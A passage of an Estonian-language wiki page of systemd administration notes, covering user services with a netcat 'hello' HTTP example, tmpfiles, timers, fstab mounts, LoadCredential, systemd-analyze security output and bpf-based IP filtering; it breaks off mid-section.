&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3&lt;br /&gt;
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1&lt;br /&gt;
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1&lt;br /&gt;
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1&lt;br /&gt;
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1&lt;br /&gt;
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2&lt;br /&gt;
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1&lt;br /&gt;
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3&lt;br /&gt;
✗ LockPersonality=                                            Service may change ABI personality                                           0.1&lt;br /&gt;
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1&lt;br /&gt;
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3&lt;br /&gt;
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1&lt;br /&gt;
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1&lt;br /&gt;
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1&lt;br /&gt;
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2&lt;br /&gt;
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2&lt;br /&gt;
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3&lt;br /&gt;
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5&lt;br /&gt;
✗ PrivateUsers=                                               Service has access to other users                                            0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1&lt;br /&gt;
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
